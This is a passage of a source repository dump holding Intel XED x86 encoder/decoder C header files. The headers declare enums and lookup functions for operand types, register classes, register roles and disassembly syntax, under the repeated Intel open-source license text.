other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-ctype-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_CTYPE_ENUM_H_) 37 | # define _XED_OPERAND_CTYPE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_CTYPE_INVALID, 41 | XED_OPERAND_CTYPE_XED_BITS_T, 42 | XED_OPERAND_CTYPE_XED_CHIP_ENUM_T, 43 | XED_OPERAND_CTYPE_XED_ERROR_ENUM_T, 44 | XED_OPERAND_CTYPE_XED_ICLASS_ENUM_T, 45 | XED_OPERAND_CTYPE_XED_INT32_T, 46 | XED_OPERAND_CTYPE_XED_INT64_T, 47 | XED_OPERAND_CTYPE_XED_OPERAND_ELEMENT_TYPE_ENUM_T, 48 | XED_OPERAND_CTYPE_XED_REG_ENUM_T, 49 | XED_OPERAND_CTYPE_XED_UINT16_T, 50 | XED_OPERAND_CTYPE_XED_UINT64_T, 51 | XED_OPERAND_CTYPE_XED_UINT8_T, 52 | XED_OPERAND_CTYPE_LAST 53 | } xed_operand_ctype_enum_t; 54 | 55 | /// This converts strings to #xed_operand_ctype_enum_t types. 56 | /// @param s A C-string. 57 | /// @return #xed_operand_ctype_enum_t 58 | /// @ingroup ENUM 59 | XED_DLL_EXPORT xed_operand_ctype_enum_t str2xed_operand_ctype_enum_t(const char* s); 60 | /// This converts strings to #xed_operand_ctype_enum_t types. 61 | /// @param p An enumeration element of type xed_operand_ctype_enum_t. 62 | /// @return string 63 | /// @ingroup ENUM 64 | XED_DLL_EXPORT const char* xed_operand_ctype_enum_t2str(const xed_operand_ctype_enum_t p); 65 | 66 | /// Returns the last element of the enumeration 67 | /// @return xed_operand_ctype_enum_t The last element of the enumeration. 68 | /// @ingroup ENUM 69 | XED_DLL_EXPORT xed_operand_ctype_enum_t xed_operand_ctype_enum_t_last(void); 70 | #endif 71 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-ctype-map.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-ctype-map.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_CTYPE_MAP_H_) 37 | # define _XED_OPERAND_CTYPE_MAP_H_ 38 | #include "xed-internal-header.h" 39 | xed_operand_ctype_enum_t xed_operand_get_ctype(xed_operand_enum_t opname); 40 | unsigned int xed_operand_decider_get_width(xed_operand_enum_t opname); 41 | #endif 42 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-type-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-type-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_TYPE_ENUM_H_) 37 | # define _XED_OPERAND_TYPE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_TYPE_INVALID, 41 | XED_OPERAND_TYPE_ERROR, 42 | XED_OPERAND_TYPE_IMM, 43 | XED_OPERAND_TYPE_IMM_CONST, 44 | XED_OPERAND_TYPE_NT_LOOKUP_FN, 45 | XED_OPERAND_TYPE_REG, 46 | XED_OPERAND_TYPE_LAST 47 | } xed_operand_type_enum_t; 48 | 49 | /// This converts strings to #xed_operand_type_enum_t types. 50 | /// @param s A C-string. 51 | /// @return #xed_operand_type_enum_t 52 | /// @ingroup ENUM 53 | XED_DLL_EXPORT xed_operand_type_enum_t str2xed_operand_type_enum_t(const char* s); 54 | /// This converts strings to #xed_operand_type_enum_t types. 55 | /// @param p An enumeration element of type xed_operand_type_enum_t. 56 | /// @return string 57 | /// @ingroup ENUM 58 | XED_DLL_EXPORT const char* xed_operand_type_enum_t2str(const xed_operand_type_enum_t p); 59 | 60 | /// Returns the last element of the enumeration 61 | /// @return xed_operand_type_enum_t The last element of the enumeration. 62 | /// @ingroup ENUM 63 | XED_DLL_EXPORT xed_operand_type_enum_t xed_operand_type_enum_t_last(void); 64 | #endif 65 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-operand-visibility-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-visibility-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_VISIBILITY_ENUM_H_) 37 | # define _XED_OPERAND_VISIBILITY_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPVIS_INVALID, 41 | XED_OPVIS_EXPLICIT, ///< Shows up in operand encoding 42 | XED_OPVIS_IMPLICIT, ///< Part of the opcode, but listed as an operand 43 | XED_OPVIS_SUPPRESSED, ///< Part of the opcode, but not typically listed as an operand 44 | XED_OPVIS_LAST 45 | } xed_operand_visibility_enum_t; 46 | 47 | /// This converts strings to #xed_operand_visibility_enum_t types. 48 | /// @param s A C-string. 49 | /// @return #xed_operand_visibility_enum_t 50 | /// @ingroup ENUM 51 | XED_DLL_EXPORT xed_operand_visibility_enum_t str2xed_operand_visibility_enum_t(const char* s); 52 | /// This converts strings to #xed_operand_visibility_enum_t types. 53 | /// @param p An enumeration element of type xed_operand_visibility_enum_t. 54 | /// @return string 55 | /// @ingroup ENUM 56 | XED_DLL_EXPORT const char* xed_operand_visibility_enum_t2str(const xed_operand_visibility_enum_t p); 57 | 58 | /// Returns the last element of the enumeration 59 | /// @return xed_operand_visibility_enum_t The last element of the enumeration. 60 | /// @ingroup ENUM 61 | XED_DLL_EXPORT xed_operand_visibility_enum_t xed_operand_visibility_enum_t_last(void); 62 | #endif 63 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-reg-class-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-reg-class-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_REG_CLASS_ENUM_H_) 37 | # define _XED_REG_CLASS_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_REG_CLASS_INVALID, 41 | XED_REG_CLASS_BNDCFG, 42 | XED_REG_CLASS_BNDSTAT, 43 | XED_REG_CLASS_BOUND, 44 | XED_REG_CLASS_CR, 45 | XED_REG_CLASS_DR, 46 | XED_REG_CLASS_FLAGS, 47 | XED_REG_CLASS_GPR, 48 | XED_REG_CLASS_GPR16, 49 | XED_REG_CLASS_GPR32, 50 | XED_REG_CLASS_GPR64, 51 | XED_REG_CLASS_GPR8, 52 | XED_REG_CLASS_IP, 53 | XED_REG_CLASS_MASK, 54 | XED_REG_CLASS_MMX, 55 | XED_REG_CLASS_MXCSR, 56 | XED_REG_CLASS_PSEUDO, 57 | XED_REG_CLASS_PSEUDOX87, 58 | XED_REG_CLASS_SR, 59 | XED_REG_CLASS_TMP, 60 | XED_REG_CLASS_X87, 61 | XED_REG_CLASS_XCR, 62 | XED_REG_CLASS_XMM, 63 | XED_REG_CLASS_YMM, 64 | XED_REG_CLASS_LAST 65 | } xed_reg_class_enum_t; 66 | 67 | /// This converts strings to #xed_reg_class_enum_t types. 68 | /// @param s A C-string. 69 | /// @return #xed_reg_class_enum_t 70 | /// @ingroup ENUM 71 | XED_DLL_EXPORT xed_reg_class_enum_t str2xed_reg_class_enum_t(const char* s); 72 | /// This converts strings to #xed_reg_class_enum_t types. 73 | /// @param p An enumeration element of type xed_reg_class_enum_t. 74 | /// @return string 75 | /// @ingroup ENUM 76 | XED_DLL_EXPORT const char* xed_reg_class_enum_t2str(const xed_reg_class_enum_t p); 77 | 78 | /// Returns the last element of the enumeration 79 | /// @return xed_reg_class_enum_t The last element of the enumeration. 80 | /// @ingroup ENUM 81 | XED_DLL_EXPORT xed_reg_class_enum_t xed_reg_class_enum_t_last(void); 82 | #endif 83 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-reg-class.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-reg-class.h 32 | /// 33 | 34 | #ifndef _XED_REG_CLASS_H_ 35 | # define _XED_REG_CLASS_H_ 36 | 37 | #include "xed-types.h" 38 | #include "xed-reg-enum.h" // a generated file 39 | #include "xed-reg-class-enum.h" // a generated file 40 | 41 | /// Returns the register class of the given input register. 42 | ///@ingroup REGINTFC 43 | XED_DLL_EXPORT xed_reg_class_enum_t xed_reg_class(xed_reg_enum_t r); 44 | 45 | /// Returns the specific width GPR reg class (like XED_REG_CLASS_GPR32 or 46 | /// XED_REG_CLASS_GPR64) 47 | /// for a given GPR register. Or XED_REG_INVALID if not a GPR. 48 | ///@ingroup REGINTFC 49 | XED_DLL_EXPORT xed_reg_class_enum_t xed_gpr_reg_class(xed_reg_enum_t r); 50 | 51 | /// Returns the largest enclosing register for any kind of register; This 52 | /// is mostly useful for GPRs. (64b mode assumed) 53 | ///@ingroup REGINTFC 54 | XED_DLL_EXPORT xed_reg_enum_t 55 | xed_get_largest_enclosing_register(xed_reg_enum_t r); 56 | 57 | /// Returns the largest enclosing register for any kind of register; This 58 | /// is mostly useful for GPRs in 32b mode. 59 | ///@ingroup REGINTFC 60 | XED_DLL_EXPORT xed_reg_enum_t 61 | xed_get_largest_enclosing_register32(xed_reg_enum_t r); 62 | 63 | /// Returns the width, in bits, of the named register. 32b mode 64 | ///@ingroup REGINTFC 65 | XED_DLL_EXPORT xed_uint32_t 66 | xed_get_register_width_bits(xed_reg_enum_t r); 67 | 68 | /// Returns the width, in bits, of the named register. 64b mode. 69 | ///@ingroup REGINTFC 70 | XED_DLL_EXPORT xed_uint32_t 71 | xed_get_register_width_bits64(xed_reg_enum_t r); 72 | 73 | //////////////////////////////////////////////////////////////////////////// 74 | 75 | #endif 76 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-reg-role-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-reg-role-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_REG_ROLE_ENUM_H_) 37 | # define _XED_REG_ROLE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_REG_ROLE_INVALID, 41 | XED_REG_ROLE_NORMAL, ///< Register is a normal register 42 | XED_REG_ROLE_SEGREG0, ///< The segment register associated with the first memop 43 | XED_REG_ROLE_SEGREG1, ///< The segment register associated with the second memop 44 | XED_REG_ROLE_BASE0, ///< The base register associated with the first memop 45 | XED_REG_ROLE_BASE1, ///< The base register associated with the second memop 46 | XED_REG_ROLE_INDEX, ///< The index register associated with the first memop 47 | XED_REG_ROLE_LAST 48 | } xed_reg_role_enum_t; 49 | 50 | /// This converts strings to #xed_reg_role_enum_t types. 51 | /// @param s A C-string. 52 | /// @return #xed_reg_role_enum_t 53 | /// @ingroup ENUM 54 | XED_DLL_EXPORT xed_reg_role_enum_t str2xed_reg_role_enum_t(const char* s); 55 | /// This converts strings to #xed_reg_role_enum_t types. 56 | /// @param p An enumeration element of type xed_reg_role_enum_t. 57 | /// @return string 58 | /// @ingroup ENUM 59 | XED_DLL_EXPORT const char* xed_reg_role_enum_t2str(const xed_reg_role_enum_t p); 60 | 61 | /// Returns the last element of the enumeration 62 | /// @return xed_reg_role_enum_t The last element of the enumeration. 63 | /// @ingroup ENUM 64 | XED_DLL_EXPORT xed_reg_role_enum_t xed_reg_role_enum_t_last(void); 65 | #endif 66 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-syntax-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-syntax-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_SYNTAX_ENUM_H_) 37 | # define _XED_SYNTAX_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_SYNTAX_INVALID, 41 | XED_SYNTAX_XED, ///< XED disassembly syntax 42 | XED_SYNTAX_ATT, ///< ATT SYSV disassembly syntax 43 | XED_SYNTAX_INTEL, ///< Intel disassembly syntax 44 | XED_SYNTAX_LAST 45 | } xed_syntax_enum_t; 46 | 47 | /// This converts strings to #xed_syntax_enum_t types. 48 | /// @param s A C-string. 49 | /// @return #xed_syntax_enum_t 50 | /// @ingroup ENUM 51 | XED_DLL_EXPORT xed_syntax_enum_t str2xed_syntax_enum_t(const char* s); 52 | /// This converts strings to #xed_syntax_enum_t types. 53 | /// @param p An enumeration element of type xed_syntax_enum_t. 54 | /// @return string 55 | /// @ingroup ENUM 56 | XED_DLL_EXPORT const char* xed_syntax_enum_t2str(const xed_syntax_enum_t p); 57 | 58 | /// Returns the last element of the enumeration 59 | /// @return xed_syntax_enum_t The last element of the enumeration. 60 | /// @ingroup ENUM 61 | XED_DLL_EXPORT xed_syntax_enum_t xed_syntax_enum_t_last(void); 62 | #endif 63 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-version.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | 32 | #if !defined(_XED_VERSION_H_) 33 | # define _XED_VERSION_H_ 34 | #include "xed-common-hdrs.h" 35 | 36 | ///@ingroup INIT 37 | /// Returns a string representing XED svn commit revision and time stamp. 38 | XED_DLL_EXPORT char const* xed_get_version(void); 39 | ///@ingroup INIT 40 | /// Returns a copyright string. 41 | XED_DLL_EXPORT char const* xed_get_copyright(void); 42 | #endif 43 | -------------------------------------------------------------------------------- /libs/xed2-intel64/BUG-REPORTS.txt: -------------------------------------------------------------------------------- 1 | Send bugs to sde-dev@intel.com 2 | 3 | -------------------------------------------------------------------------------- /libs/xed2-intel64/LICENSE: -------------------------------------------------------------------------------- 1 | IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. By 2 | downloading, copying, installing or using the software you agree to 3 | this license. If you do not agree to this license, do not download, 4 | install, copy or use the software. 5 | 6 | Copyright (c) 2004-2011, Intel Corporation. All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are 10 | met: 11 | 12 | * Redistributions of source code must retain the above copyright 13 | notice, this list of conditions and the following disclaimer. 14 | 15 | * Redistributions in binary form must reproduce the above 16 | copyright notice, this list of conditions and the following 17 | disclaimer in the documentation and/or other materials provided 18 | with the distribution. 19 | 20 | * Neither the name of Intel Corporation nor the names of its 21 | contributors may be used to endorse or promote products derived 22 | from this software without specific prior written permission. 23 | 24 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 25 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 26 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 27 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 28 | OWNER OR 